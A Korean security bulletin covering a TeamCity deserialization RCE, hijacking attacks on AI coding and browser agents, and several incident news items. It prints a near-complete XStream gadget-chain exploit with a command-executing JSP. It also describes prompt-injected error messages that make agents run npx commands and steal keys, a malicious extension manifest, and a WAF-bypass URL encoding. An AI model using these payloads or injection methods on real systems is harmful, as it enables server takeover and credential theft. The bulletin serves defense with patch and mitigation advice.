TiedMapEntry "connection" 키와 HashAdapter를 연결하여 속성 조회 유발
TiedMapEntry.map Entry 2의 HashAdapter 참조
TiedMapEntry.key connection 문자열을 지정하여 getConnection() 호출 유도
실행 트리거 HashSet.add() TiedMapEntry를 HashSet에 추가하면서 hashCode() 호출
TiedMapEntry.hashCode() getValue()를 호출하여 HashAdapter.get("connection") 실행
TiedMapEntry.getValue() 연결된 Map에서 connection 속성 조회
HashAdapter.get("connection") BooleanModel을 통해 BasicDataSource의 connection 속성을 조회
BasicDataSource.getConnection() 실제 JDBC 연결을 생성하면서 공격자가 설정한 connectionInitSqls 실행

 

2.4 JSP 페이로드 실행

- JspController.doHandle() 메서드는 내부 요청, 인증된 사용자의 요청, 직접 JSP를 요청하는 명시적 파라미터가 존재하지 않으면 JSP가 실행되기 전에 HTTP 403 오류를 반환

> TeamCity의 WEB-INF/web.xml에는 *.jspws 확장자를 Apache Jasper의 서블릿으로 직접 매핑해두어 인증 검사 단계를 거치지 않고 서블릿으로 요청이 전달

> 공격자는 Gadget Chain을 이용해 웹 루트에 JSPWS 파일을 생성하고, 두 번째 요청을 통해 JSPWS 파일에 접근

// web-core.jar!jetbrains.spring.web.JspController

public class JspController extends BaseController implements CustomUrlHandler {
    protected ModelAndView doHandle(@NotNull HttpServletRequest httpServletRequest, @NotNull HttpServletResponse httpServletResponse) throws IOException, ServletException {
// ...
if (!RequestStackCalculationInterceptor.isInnerRequest(request)
        && SessionUser.getUser(request) == null
        && !TeamCityProperties.getBoolean(
            "teamcity.jsp.directRequests.allowed"
        )) {
    response.setStatus(403);
    response.getWriter().write("Access denied");
    return null;
}

 

2.5 PoC

- 가짜 Agent를 등록해 TeamCity-AgentSessionId를 획득한 후 악성 XML을 전송하여 XStream 가젯 체인 실행 및 생성한 .jspws 파일을 호출해 서버에서 명령 실행 [6]

def build_registration_xml() -> bytes: # 가짜 Agent 등록 XML 생성
    ...

def build_jsp_scriptlet(
    jsp_path: str, guard: str, response_token: str, command: str
) -> str: # JSPWS 파일에 삽입할 명령 실행 코드 생성
    scriptlet = f"""
        <%
          if (application.getAttribute({java_string(guard)}) == null) {{
            application.setAttribute(
              {java_string(guard)},
              java.lang.Boolean.TRUE
            );
            java.nio.file.Files.deleteIfExists(
              java.nio.file.Path.of(
                application.getRealPath({java_string(jsp_path)})
              )
            );
            java.lang.Runtime.getRuntime().exec({java_string(command)});
            out.print({java_string(response_token)});
          }}
        %>
    """
    return " ".join(
        line.strip() for line in textwrap.dedent(scriptlet).splitlines()
        if line.strip()
    )


def build_payload(webroot_relative: str, command: str) -> tuple[bytes, str, bytes]: # Gadget Chain이 포함된 XML 생성
    if not webroot_relative or any(
        character in webroot_relative for character in "\x00\r\n"
    ):
        raise ValueError("webroot-relative must be a non-empty single line")
    if not command or any(character in command for character in "\x00\r\n"):
        raise ValueError("cmd must be a non-empty single line")

    (
        file_id,
        guard,
        response_token,
        database_name,
        table_id,
        column_id,
        *map_keys,
    ) = random_tokens(9)

    filename = f"{file_id}.jspws"
    jsp_uri = f"/{filename}"
    normalized_webroot = webroot_relative.replace("\\", "/").rstrip("/")
    if not normalized_webroot:
        raise ValueError("webroot-relative must identify a directory")
    output_path = f"{normalized_webroot}/{filename}"

    table_name = f"T{table_id.upper()}"
    column_name = f"C{column_id.upper()}"
    jsp = build_jsp_scriptlet(jsp_uri, guard, response_token, command)
    init_sql = (
        f"CREATE TABLE IF NOT EXISTS {table_name}({column_name} VARCHAR(4000))",
        f"INSERT INTO {table_name} VALUES ({sql_string(jsp)})",
        f"SCRIPT {sql_string(output_path)}",
    )

    payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<linked-hash-map>
  <entry>
    <string>{map_keys[0]}</string>
    <jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
      <outer-class>
        <myHSQLStorage>
          <myDataSource>
            <defaultTransactionIsolation>-1</defaultTransactionIsolation>
            <cacheState>true</cacheState>
            <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
            <lifo>true</lifo>
            <maxTotal>8</maxTotal>
            <maxIdle>8</maxIdle>
            <minIdle>0</minIdle>
            <initialSize>0</initialSize>
            <maxWaitMillis>-1</maxWaitMillis>
            <poolPreparedStatements>false</poolPreparedStatements>
            <clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
            <maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
            <testOnCreate>false</testOnCreate>
            <testOnBorrow>true</testOnBorrow>
            <testOnReturn>false</testOnReturn>
            <timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
            <numTestsPerEvictionRun>3</numTestsPerEvictionRun>
            <minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
            <softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
            <evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
            <testWhileIdle>false</testWhileIdle>
            <password/>
            <url>{xml_text(f'jdbc:hsqldb:mem:{database_name}')}</url>
            <userName>SA</userName>
            <validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
            <connectionInitSqls>
              <string>{xml_text(init_sql[0])}</string>
              <string>{xml_text(init_sql[1])}</string>
              <string>{xml_text(init_sql[2])}</string>
            </connectionInitSqls>
            <accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
            <maxConnLifetimeMillis>-1</maxConnLifetimeMillis>
            <logExpiredConnections>true</logExpiredConnections>
            <autoCommitOnReturn>true</autoCommitOnReturn>
            <rollbackOnReturn>true</rollbackOnReturn>
            <fastFailValidation>false</fastFailValidation>
            <connectionProperties/>
            <closed>false</closed>
          </myDataSource>
          <myStopped>false</myStopped>
          <myDatabaseOpen>false</myDatabaseOpen>
        </myHSQLStorage>
      </outer-class>
    </jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
  </entry>

  <entry>
    <string>{map_keys[1]}</string>
    <freemarker.ext.beans.HashAdapter>
      <wrapper>
        <sharedIntrospectionLock/>
        <classIntrospector>
          <exposureLevel>0</exposureLevel>
          <exposeFields>false</exposeFields>
          <treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
          <incompatibleImprovements>
            <major>2</major>
            <minor>3</minor>
            <micro>0</micro>
            <intValue>2003000</intValue>
            <calculatedStringValue>2.3.0</calculatedStringValue>
            <hashCode>0</hashCode>
          </incompatibleImprovements>
          <hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>
          <shared>false</shared>
          <sharedLock reference="../../sharedIntrospectionLock"/>
          <cache/>
          <cacheClassNames/>
          <classIntrospectionsInProgress/>
          <modelFactories/>
          <clearingCounter>0</clearingCounter>
        </classIntrospector>
        <falseModel>
          <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
          <wrapper reference="../.."/>
          <value>false</value>
        </falseModel>
        <writeProtected>false</writeProtected>
        <defaultDateType>0</defaultDateType>
        <methodsShadowItems>true</methodsShadowItems>
        <simpleMapWrapper>false</simpleMapWrapper>
        <strict>false</strict>
        <preferIndexedReadMethod>true</preferIndexedReadMethod>
        <incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
      </wrapper>
      <model reference="../wrapper/falseModel"/>
    </freemarker.ext.beans.HashAdapter>
  </entry>

  <entry>
    <string>{map_keys[2]}</string>
    <set>
      <org.apache.commons.collections.keyvalue.TiedMapEntry>
        <map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
        <key class="string">connection</key>
      </org.apache.commons.collections.keyvalue.TiedMapEntry>
    </set>
  </entry>

</linked-hash-map>
""".encode("utf-8")
    return payload, jsp_uri, response_token.encode("utf-8")
 
    ...

    try:
        status, headers, body = request( # Agent 등록 → TeamCity-AgentSessionId 획득
            f"{base}/app/agents/v1/register",
            timeout=args.http_timeout,
            body=registration,
            headers={"Content-Type": "application/xml"},
        )
        session = headers.get("teamcity-agentsessionid")
        ...

        command_status, _, command_body = request( # 악성 XML 전달 → XStream 역직렬화 및 가젯 체인 실행
            f"{base}/app/agents/v1/commands/error",
            timeout=args.http_timeout,
            body=payload,
            headers={
                "Content-Type": "application/xml",
                "TeamCity-AgentSessionId": session,
                "TeamCity-AgentCommandId": command_id,
            },
        )

         # 생성된 JSPWS 요청 → JSP 실행
        jsp_status, _, jsp_body = request(
            f"{base}{jsp_path}", timeout=args.http_timeout
        )
        ...

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [7][8]

> NoTypePermission.NONE으로 기존 권한을 초기화한 후 Allowlist를 적용

> 업데이트가 불가한 경우 공식 Security Patch Plugin을 적용 [9]

취약점 제품명 영향받는 버전 해결 버전
CVE-2026-63077 TeamCity 2026.1.3 미만 버전 2026.1.3
2025.11.7 미만 버전 2025.11.7

 

- TeamCity 서버 프로세스에 최소 권한 부여 및 서버 분리

- TeamCity 서버가 인터넷에 직접 노출되지 않도록 접근 제한

- 신뢰 가능한 네트워크에서만 TeamCity 서버에 접근 가능하도록 방화벽 또는 ACL 구현

- TeamCity Agent Polling 관련 엔드포인트로 유입되는 비정상 요청과 XML 기반 역직렬화 공격 패턴등을 WAF 모니터링

- 서버 로그 점검

> com.thoughtworks.xstream.converters.ConversionException, com.thoughtworks.xstream.security.ForbiddenClassException 등 역직렬화 과정과 관련된 예외

> 의심스러운 요청, 비정상적인 JSP 파일 생성 여부 점검

4. 참고

[1] https://nvd.nist.gov/vuln/detail/cve-2026-63077
[2] https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/
[3] https://x-stream.github.io/
[4] https://x-stream.github.io/javadoc/com/thoughtworks/xstream/XStream.html#allowTypeHierarchy-java.lang.Class-
[5] https://kr.linkedin.com/pulse/deserialization-what-heck-actually-gadgetchain-florian-walter-gylcf?tl=ko
[6] https://github.com/sfewer-r7/CVE-2026-63077
[7] https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/
[8] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=jetb&menuNo=205020&pageIndex=1&categoryCode=&nttId=72155
[9] https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/#mitigation-option-2-apply-the-security-patch-plugin
[10] https://www.dailysecu.com/news/articleView.html?idxno=208600

1. Plugin4Shell

- Claude Code, OpenAI Codex, GitHub Copilot, Gemini CLI 등은 AI 코딩 에이전트로, SHA pinning 방식으로 사용 버전을 고정

> 특정 시점에 검토한 플러그인의 깃 커밋 해시(40자 16진수)로 고정하여, 고정 이후 코드가 변경되어도 고정된 버전만 실행 가능하며, 무결성을 보장

 

- 에이전트가 고정된 커밋을 내려받은 뒤 내려받은 코드가 지정된 커밋과 일치하는지 검증하지 않아, 악성코드 실행이 가능한 Plugin4Shell 취약점 발견 [1][2][3]

> Claude Code, OpenAI Codex는 설치된 플러그인을 백그라운드에서 업데이트하는 것이 기본 설정이어서, 이미 설치한 신뢰 플러그인이 설치 절차 또는 알림 없이 교체될 수 있음

> 단, 해당 공격은 공격자가 플러그인 저장소를 완전히 통제해야 성립 가능

구분 설명
정상 플러그인 등록 후
악성 코드로 변경


① Claude Code, Codex, GitHub Copilot
 ⒜ 정상 플러그인 등록
   - 공격자는 정상적인 플러그인을 마켓플레이스에 등록하고 SHA Commit A 지정

 ⒝ 사용자 배포 및 신뢰 확보
   - 사용자들이 마켓플레이스를 통해 해당 플러그인을 설치 및 실행

 ⒞ 버전 업데이트
   - 공격자는 버전 업데이트를 제출하며, 마켓플레이스는 새로운 SHA Commit B 지정
 ⒟ 악성 브랜치 생성 및 주입

   - 공격자는 해당 저장소에서 SHA Commit B와 동일한 이름을 가진 악성 브랜치를 생성
   - 악성 브렌치를 저장소의 기본 브랜치로 지정
    ※ 이름이 유효한 참조(Ref/Branch)이자 객체 ID(Commit SHA) 모두에 해당할 때, 
         Git은 참조(Branch)를 우선시하며 refname is ambiguous 경고만 출력한 채
         브랜치를 체크아웃
    ※ GitHub은 40자리 Hex 브랜치 이름을 거부하지만, 
         Bitbucket이나 자체 호스팅(Self-hosted) Git 서버는 이를 허용
         Anthropic 공식 문서에서도 Bitbucket 및 Self-hosted Git을
         유효한 마켓플레이스 백엔드로 명시하고 있어 공격이 유효

 ⒠ 자동 업데이트를 통한 악성코드 내려받기
   - AI 에이전트의 백그라운드 업데이트 동작을 통해 악성 브랜치를 내려받아 실행
   - 실제 내려받은 Commit이 고정된 SHA와 일치하는지 검증하지 않아 악성 브랜치의 내용이 설치·실행됨
   - 별도 동작 없이 백그라운드 업데이트 과정에서 공격이 수행되어 Zero-Click RCE로 이어질 수 있음

② Gemini CLI
 ⒜ Gemini CLI의 설치 세 단계 예시
    git clone --depth 1 <plugin repo> ./  : 지정한 저장소에서 최신 커밋 1개만 복제
    git fetch origin <COMMIT_SHA>     : 고정된 SHA를 가져옴
    git checkout FETCH_HEAD             : FETCH_HEAD를 checkout

 ⒝ 공격자가 자신의 저장소에 FETCH_HEAD를 이름으로 가지는 악성 브랜치 생성 및 기본 브랜치로 지정

 ⒞ git checkout FETCH_HEAD 명령 실행으로 악성 브랜치를 받아
   - 저장소의 기본 브랜치 이름 자체가 FETCH_HEAD이면, checkout은 해당 브랜치로 해석

  ⒟ 악성 플러그인 실행 
   - 실제 내려받은 Commit이 고정된 SHA와 일치하는지 검증하지 않아 악성 플러그인이 실행
플러그인 저장소 탈취 - 공격자가 다른 사람의 플러그인 저장소를 탈취한 뒤 Plugin4Shell를 통해 악성 버전 강제 설

 

- 벤더사 대응 및 대응 방안

구분 설명
벤더사 대응 - Claude Code : 2.1.179 버전에서 해당 문제 수정
- OpenAI Codex : 0.146.0 버전에서 해당 문제 수정
- GitHub Copilot : 아직 수정 패치를 배포하지 않음
- Gemini CLI : 지원 종료에 따른 수정 계획 없음 및 Antigravity로 마이그레이션 권
대응 방안 - 벤더사 업데이트 적용
> GitHub Copilot의 경우 필요한 플러그인만을 남겨 사용 범위 최소화 및 가시성 확보

- 현재 사용중인 플러그인에 대한 가시성 확

- 대상 저장소에 40자 16진수 형태의 브랜치 이름이 존재하는지 확인
> git ls-remote --heads <저장소 URL>

- 실제로 내려받은 Commit의 SHA가 고정된 SHA와 일치하는지 검증
> test "$(git rev-parse HEAD)" = "<pinned-sha>" || abort

- 에이전트 실행 로그 또는 터미널 출력에서 "refname is ambiguous" 점검

2. Agentjacking

- AI 코딩 에이전트의 신뢰 메커니즘을 악용해 악성 코드를 실행하는 Agentjacking 공격 기법 발견 [4][5]

구분 설명
공격 과정

① Sentry DSN (Data Source Name) 키 확보
- Sentry : 오류 추적 및 겅능 모니터링을 제공하는 APM (Application Performance Monitoring) 플랫폼
- Sentry DSN : 애플리케이션이 에러 이벤트를 보낼 프로젝트를 찾도록 지정해주는 값 [6]
> 해당 값이 같으면 누구나 임의의 에러 이벤트를 전송할 수 있음
> 웹 사이트 소스 코드, HTTP Body 등에서 쉽게 획득 가능

② 가짜 에러 요청 전송
- Sentry MCP 서버가 AI 에이전트에 반환하는 정상 템플릿과 동일한 형식의 가짜 오류 페이로드 POST 전송
- ## Resolution 섹션에 악성 npx 명령을 삽입

③ 악성 명령 실행
- 개발자가 오류 분석 등의 요청할 경우, 에이전트는 MCP를 통해 오류 이벤트 조회 및 악성 명령 실행
- 환경 변수, AWS 키, 깃허브 토큰, Git 자격증명, Sentry 인증 토큰 등 민감정보 탈취
대응 방안 - DSN 키 교체 및 보안 강화
- 에러 로그 직접 검토
- MCP 외부 노출 점
- AI 에이전트 실행 가이드라인 수립
- AI 시스템과 개발 환경 간 격리 및 접근 통제 강화
참고 - EDR, WAF, IAM, VPN, 방화벽 등 기존 보안 통제 장치 모두 우회
> 공격 과정의 모든 요청이 정상적 DSN 인증을 기반으로 하며, AI 에이전트가 자체적으로 명령을 실행하기 때문에 승인된 의도(Authorized Intent Chain)로 분류

- Sentry는 문제를 인정했지만 플랫폼 차원에서 방어하기가 기술적으로 어렵다는 입장
> 외부 입력을 MCP 도구로 전달하는 모든 AI 에이전트 생태계에서 발생할 수 있는 구조적 문제

3. BragJack

- Chrome, Edge, Perplexity Comet, Opera Neon, Claude in Chrome 브라우저의 내장 AI Agent를 크롬 확장프로그램 하나로 탈취할 수 있는 BragJack 공격 기법 발견 [7][8][9]

> 브라우저 내장 AI Agent는 사용자 명령을 이해하고 판단하는 제어부(Brain)와 클릭, 파일 접근, 캡처 등 브라우저 기능은 실행부(Body)로 구분

> 공격자는 DiNneR Serving 기법을 통해 보안 헤더를 조작하고, 악성 JavaScript로 리다이렉트하여 AI Agent에 악성 명령 전달

구분 설명
공통

- DiNneR Serving 기법을 통해 보안 헤더를 조작하고, 정상 JavaScript를 악성 JavaScript로 리다이렉트
> DNR(Declarative Net Request, 선언형 네트워크 요청) : 확장 프로그램이 브라우저의 네트워크 요청을 가로채고, 수정하거나 차단할 수 있도록 돕는 API  [10]
> DNR을 악용해 요청을 가로채고, 선언된 규칙을 통해 보안 헤더를 조작 및 정상 JavaScript를 악성 JavaScript로 리다이렉트

- declarativeNetRequest 및 https://*/* 권한을 가진 악성 확장 프로그램 이용
{
  "manifest_version": 3,
  "name": "BragJack",
  "version": "1.0",
  "permissions": ["declarativeNetRequest"], - 확장 프로그램이 선언적 규칙을 통해 네트워크 요청을 차단 또는 수정할 수 있는 권한 부여
  "host_permissions": ["https://*/*"], - 확장 프로그램이 모든 HTTPS 웹사이트에 대한 접근 권한 허용
  "declarative_net_request": {
    "rule_resources": [
      { "id": "glic", "enabled": true, "path": "glic_rules.json" },
      { "id": "comet", "enabled": true, "path": "comet_rules.json" },
      { "id": "neon", "enabled": true, "path": "neon_rules.json" },
      { "id": "egde", "enabled": true, "path": "egde_rules.json" },
      { "id": "claude", "enabled": true, "path": "claude_rules.json" },
    ]
  }
}
브라우저별 익스플로잇 ① Chrome Gemini Live (CVE-2026-0628, CVSS: 8.8) [11]
 ⒜ AI Agent 구조
  - 브라우저 내부의 chrome://glic Body와 WebView 기반 gemini.google.com Brain 구조
  - 정상적인 경우 일반 확장 프로그램은 chrome:// URL에 접근할 수 없음
 ⒝ DNR을 이용한 우회
  - 불필요한 정상 JavaScript를 공격자가 제어하는 JavaScript로 리다이렉션
  - content-security-policy 헤더를 제거하는 등 보안 헤더를 수정
 
② Microsoft Edge Actions (CVE-2026-55945, CVSS: 4.2) [12]
 ⒜ AI Agent 구조
  - chrome:// URL기반 Body와 iFrame 기반 copilot.microsoft.com Brain 구조
  - frame-ancestors를 통해 *.microsoft.com, *.bing.com를 제외한 임의 사이트에서 iFrame으로 로드되는 것을 차단
 ⒝ CSP 우회
  - frame-ancestors에 https://*.com를 추가하여 모든 웹사이트에서 삽입할 수 있도록 함
 ⒞ Gesture Token 우회
  - debugger 권한 설정을 통해 클릭/입력 이벤트를 생성해 실제 사용자 동작과 동일한 클릭 이벤트 발생
 ⒟ Think / Do Race Condition
  - Prompt를 처리하는 Think Mode(실제 Action 수행 제한)
  - 실제 브라우저 작업을 수행하는 Do Mode(새로운 Prompt 입력 제한)
  - Think Mode에서 악성 Prompt 전달 후 Agent가 Prompt를 처리하는 순간 Do Mode 전환

③ Perplexity Comet
 ⒜ AI Agent 구조
  - 신뢰할 수 있는 웹사이트인 perplexity.ai에서만 명령을 받도록 설계
  - perplexity.ai는 확장 프로그램이 실행되지 않도록 완전 차단
 ⒝ Test 도메인 악용
  - 다른 도메인과 달리 보안이 약한 testing.perplexity.com이 존재하며, 접근 시 perplexity.ai로 리다이렉션
  - Location 헤더를 제거하는 DNR 규칙을 적용하여 testing.perplexity.com 로드 유지

④ Opera Neon
 ⒜ AI Agent 구조
  - opera.com 도메인에서만 오는 요청을 수락하며, opera.com은 확장 프로그램이 코드 실행 가능
 ⒝ DNR을 이용한 우회
  - CSP 헤더를 제거하고, 백그라운드에 숨겨진 iFrame을 생성
 ⒞ Prompt-Forcing
  - 공격자가 직접 프롬프트에 악성 명령을 전달

⑤ Claude in Chrome
 ⒜ AI Agent 구조
  - 자체가 확장 프로그램으로, claude.ai에 Content Script를 실행하여 Claude Side Panel과 통신
 ⒝ DOM 조작
  - data-task-prompt에 프롬프트를 삽입하고, click()이벤트를 발생시켜 프롬프트 전달
  - debugger 권한을 이용하여 사용자 Gesture가 필요한 경우 이를 우회

 

- 대응방안

> 브라우저 확장프로그램 허용목록 운영

> 불필요한 확장프로그램 설치 차단

> AI 에이전트의 로컬 파일 접근 최소화

> 카메라·마이크 권한 제한

> 메일·문서·업무용 서비스 접근권한 최소화

> 크롬·엣지 등 브라우저 최신 버전 유지

4. 참고

[1] https://www.air.security/blog-posts/plugin4shell
[2] https://www.skshieldus.com/security-insights/trends/%60eqstnow-plugin4shell-ai-plugin-bypass
[3] https://www.dailysecu.com/news/articleView.html?idxno=208552
[4] https://tenetsecurity.ai/blog/agentjacking-coding-agents-with-fake-sentry-errors/
[5] https://www.boannews.com/news/articleView.html?idxno=144117
[6] https://docs.sentry.io/concepts/key-terms/dsn-explainer/
[7] https://forever.security/blog/bragjack-attack-hijacks-every-browser-agent

[8] https://forever.security/blog/bragjack-hijacking-5-browsers-via-built-in-ai-assistants
[9] https://www.dailysecu.com/news/articleView.html?idxno=208558
[10] https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest?hl=ko
[11] https://nvd.nist.gov/vuln/detail/cve-2026-0628
[12] https://nvd.nist.gov/vuln/detail/cve-2026-55945

요약 - 클라우드플레어의 컨테이너 서비스에서 이전 고객의 데이터를 읽을 수 있는 취약점 발견
- 삭제된 컨테이너의 디스크 공간을 재사용하면서 이전 데이터 일부가 남는 문제로, 현재는 수정이 완료된 상태
내용 - 클라우드플레어의 컨테이너 서비스에서 한 고객이 같은 서버를 먼저 사용한 다른 고객의 데이터를 읽을 수 있는 취약점이 발견
> 현재 실행 중인 서비스에 침입한 것이 아니라, 삭제된 컨테이너의 디스크 공간을 재사용하면서 이전 데이터 일부가 남는 문제
> 클라우드플레어는 9월 24일 이를 공개하고 전체 서버에 대한 수정과 정리를 마쳤다고 발표

- 영향을 받은 서비스는 고객의 프로그램을 실행하는 ‘클라우드플레어 컨테이너’와 이를 기반으로 외부 코드를 격리 실행하는 ‘클라우드플레어 샌드박스’
> ‘브라우저 런’도 같은 디스크 구성을 사용해 영향을 받았다고 설명했으나, 클라우드플레어는 공식 발표에서 이 제품을 별도로 언급하지 않음

- 원인 : 재사용하는 저장 공간을 새 고객에게 배정하기 전에 지우는 기능이 꺼져 있었던 것
> 서버는 디스크 공간을 64킬로바이트씩 나눠 관리
> 새로 배정된 공간에 4킬로바이트만 기록하고 전체 공간을 읽자, 나머지 부분에서 이전 컨테이너의 데이터가 확인
> 복구된 자료에는 폴더 구조와 데이터베이스 페이지 등이 포함
> 환경설정 파일과 인증정보 파일 형태의 자료도 발견

- 실제 운영 환경에서 시험한 24회 중 18회에 남은 데이터를 확인
> 24개 고객 계정의 정보가 유출됐다는 뜻은 아니며, 공격자가 서버나 피해 고객을 지정할 수도 없었음
> 다른 고객에게 배정됐던 저장 공간의 내용을 읽을 수 있었다는 점에서 고객 간 데이터 격리가 깨진 사례

- 클라우드플레어
> 저장 공간을 새로 배정할 때 기존 내용을 지우도록 설정을 바꾸고, 이전 설정으로 만들어진 실행 중 디스크와 서버의 이미지 캐시까지 정리
> 보유한 디스크 활동 기록에서 같은 수법을 사용한 흔적을 찾지 못함

- 다만 취약한 설정이 언제부터 적용됐는지는 공개되지 않아 과거 노출 가능 기간은 알 수 없음
기타 -

 

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208612
[2] https://blog.cloudflare.com/containers-cross-tenant-vulnerability/

요약 - 샤이니헌터스, 오라클 PeopleSoft를 대상으로 WAF을 우회해 웹셸 유포
- 해당 취약점은 보안 업데이트가 발표 되었으나, 프로그램을 수정하지 않고 웹 방화벽 규칙만 적용한 서버들이 표적이됨
내용 - 샤이니헌터스, 오라클 PeopleSoft를 노려 WAF을 우회해 서버에 웹셸 유포
> 지난 6월 보안 업데이트가 나왔지만, 프로그램을 수정하지 않고 웹 방화벽 규칙으로만 공격을 막으려 했던 서버들을 대상으로 함
> 취약한 환경관리허브(PSEMHUB) 경로를 막아 둔 방화벽 규칙을 우회하도록 공격 코드를 고쳤다고 밝힘
> 공격자는 차단 대상인 /PSEMHUB/ 대신 첫 글자만 URL 인코딩해 /%50SEMHUB/로 요청 전송
> 많은 방화벽과 리버스 프록시 규칙이 URL을 디코딩하기 전 문자열 그대로 경로를 대조하는데, PeopleSoft 서버는 요청을 디코딩해 취약한 서블릿으로 넘긴다고 설명

- 악용하는 RCE 취약점은 CVE-2026-35273 (CVSS: 9.8)
> 영향받는 버전 : PeopleSoft Enterprise PeopleTools 8.61, 8.62
> 웹 기반 HTTP/HTTPS 요청에 대한 인증 확인 누락(CWE-306)
> 바뀐 경로로 조작된 자바 객체를 담은 요청을 보내 PSEMHUB 서블릿의 자바 역직렬화 결함 악용

- 이후 웹셸 x.jsp, u.jsp 업로드
> x.jsp : 운영체제를 가리지 않고 명령 실행
> u.jsp : 파일을 잘라 나눠 올리면서 cmd.exe로 명령 실행

- 다음 단계로 정상 설치 파일로 위장한 Ple64.exe를 올려 C++로 만든 백도어 SIDEEYE를 메모리에서 실행 
> 이 백도어는 외부 서버(162.219.30[.]165)와 통신하며 브라우저와 데스크톱 프로그램에 저장된 자격 증명을 빼내고, 프로세스와 파일을 다루고, 대화형 셸과 역방향 프록시까지 생성
> 터널링 도구 Neo-reGeorg를 함께 썼고, 리눅스 시스템에서는 웹셸을 심은 뒤 정상 원격관리 도구 MeshAgent를 올려 접근 경로를 생성
> 공격자가 실행한 명령 가운데 약 1/4은 root나 시스템 최고 권한으로 실행됐고, 나머지는 PeopleSoft나 WebLogic 서비스 계정 권한으로 실행

- 대응 방안
> CVE-2026-35273 패치 적용
> 환경관리허브를 끄거나 PSEMHUB 애플리케이션 삭제
> 웹로직 로그에서 /PSEMHUB/ 요청과 퍼센트 인코딩 변형 여부 점검
> PSEMHUB.war 디렉터리에 의심 파일이 없는지 점검
> 피플소프트 애플리케이션 서비스 계정이 읽을 수 있는 자격 증명 변경 
> 압축 파일을 만들거나 데이터베이스를 대량으로 내보낸 흔적, 서버 밖으로 나가는 통신 여부 점검
기타 - 샤이니헌터스는 최근 미국 연방수사국(FBI) 침해도 주장
> 두 사건이 같은 취약점으로 연결됐다고 단정할 근거는 아직 없음

 

보안뉴스

[1] https://www.boannews.com/news/articleView.html?idxno=146061
[2] https://www.dailysecu.com/news/articleView.html?idxno=208614
[3] https://nvd.nist.gov/vuln/detail/cve-2026-35273
[4] https://cloud.google.com/blog/topics/threat-intelligence/shinyhunters-renewed-mass-exploitation-campaign-targeting-oracle-peoplesoft?hl=en
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&menuNo=205020&nttId=72096

요약 - 도커 관리용 응용프로그램 인터페이스(API)를 인증 없이 사용할 수 있도록 TCP 2375 포트를 열어 둔 서버를 대상으로한 봇넷 Carbonato가 발견
- 높은 권한의 컨테이너를 만들고 서버의 파일시스템과 프로세스·네트워크 영역을 연결해 서버 본체에서 명령을 실행
내용 - 인증 없이 외부에 노출된 도커 서버를 감염시키고 다른 서버로 확산하는 봇넷 Carbonato가 발견
> 감염된 서버에는 정상 오픈소스 AI 에이전트를 설치해 공격자의 명령을 수행
> 새로운 도커 취약점을 이용한 공격이 아니라, 노출된 관리 권한을 악용하는 방식

- ThreatDown, 지난 8월 인증 없이 접근할 수 있는 도커 이미지 저장소 조사 중 Carbonato의 구성요소 확인
> 저장소에는 봇넷뿐 아니라 가짜 암호화폐 지갑 앱을 배포하는 도구도 포함
> 침투 대상은 도커 관리용 응용프로그램 인터페이스(API)를 인증 없이 사용할 수 있도록 TCP 2375 포트를 열어 둔 서버
> 공격자는 해당 기능으로 높은 권한의 컨테이너를 만들고 서버의 파일시스템과 프로세스·네트워크 영역을 연결해 서버 본체에서 명령 실행
> 이후 원격에서 다시 접속할 수 있도록 SSH 접속 수단 마련 및 악성 구성요소가 삭제되거나 서버가 재시작돼도 다시 실행되도록 설정
> 이어 정상 오픈소스인 Hermes Agent를 설치한 뒤 역할 설정 파일을 ‘GH0ST’라는 공격용 지시로 변경
> 이 지시에는 텔레그램으로 받은 작업을 수행하고 AI 서비스의 API 키 등 인증정보를 우선 수집하라는 내용이 포함

- AI가 확산 대상을 스스로 판단하는 구조는 아님
> 별도의 스크립트가 약 5분마다 감염 서버에서 접근 가능한 네트워크를 훑어 인증 없이 열린 도커 관리 포트를 찾고, 같은 침투 절차 반복
> AI 에이전트는 이미 감염된 서버에서 공격자의 작업을 수행하는 데 사용

- 대응방안
> 인터넷뿐 아니라 내부망과 도커 연결망에서도 2375 포트가 인증 없이 접근 가능한지 확인
> 원격 관리가 필요하다면 도커가 안내하는 SSH 또는 클라이언트 인증서를 적용한 TLS 연결을 사용하고 접근 대상 제한
> 예상하지 못한 고권한 컨테이너, 서버 파일시스템 연결, 역방향 SSH 접속과 텔레그램 통신 여부 점검
기타 -

 

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208602
[2] https://www.threatdown.com/blog/carbonato/

요약 - 일본 디지털청(Digital Agency), 정부 공통 업무환경인 Government Solution Service에 대한 외부 침입 사실 공개
- 공격자는 인터넷과 연결괸 VPN 장비의 취약점을 이용해 침입하였으며, 약 24만 6000건의 개인정보 유출 가능성 존재
